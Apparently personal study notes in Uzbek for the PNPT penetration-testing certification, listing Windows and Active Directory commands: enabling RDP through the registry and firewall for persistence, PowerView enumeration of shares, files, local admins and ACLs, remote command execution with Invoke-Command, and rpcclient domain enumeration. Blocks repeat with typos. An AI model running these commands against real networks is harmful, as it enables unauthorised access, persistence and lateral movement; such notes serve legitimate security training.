RDP yoqish / persistence
> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f; Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
// O'chirish
> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 1 /f; Disable-NetFirewallRule -DisplayGroup "Remote Desktop"
+
Persistence uchun Autorun, Startup dan foydalanish mumkin
> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f; Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
// O'chirish
> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 1 /f; Disable-NetFirewallRule -DisplayGroup "Remote Desktop"
+
Persistence uchun Autorun, Startup dan foydalanish mumkin
PNPT notes
// Domaindagi SMBshare lar haqida ma'lumot: > Invoke-ShareFinder
// Powerview // SMB share fayllarni hammasini olish
> Invoke-FileFinder
> Invoke-FileFinder
PNPT notes
// Powerview // SMB share fayllarni hammasini olish > Invoke-FileFinder
// local admins
> Invoke-EnumerateLocalAdmin
> Invoke-EnumerateLocalAdmin
PNPT notes
// local admins > Invoke-EnumerateLocalAdmin
// Access control list enum
> Get-Objectacl
> Get-Objectacl
PNPT notes
// Powershell (rdp) Enter-PSSession -ComputerName User2 -Credential just/username
// powershell bilan remote code exec
> Invoke-Command -ScriptBlock {whoami;just} -ComputerName User2 -Credential just/username
> Invoke-Command -ScriptBlock {whoami;just} -ComputerName User2 -Credential just/username
PNPT notes
// rcpclinet orqali enum qilish mumkin # rpcclient -U sfsd -p sfs Adress
// tizim haqida ma'lumot olish
# rpcclient srvinfo
// domain users
# rpccleint enumdomusers
// domain (bult in)groups
# rpcclient enumalsgroups domain
# rpcclient enumalsgroups bultin
// SID topish
rpccleint > lookupnames name
//RIDs orqali malumot olish:
queryuser 500 // admin
# rpcclient srvinfo
// domain users
# rpccleint enumdomusers
// domain (bult in)groups
# rpcclient enumalsgroups domain
# rpcclient enumalsgroups bultin
// SID topish
rpccleint > lookupnames name
//RIDs orqali malumot olish:
queryuser 500 // admin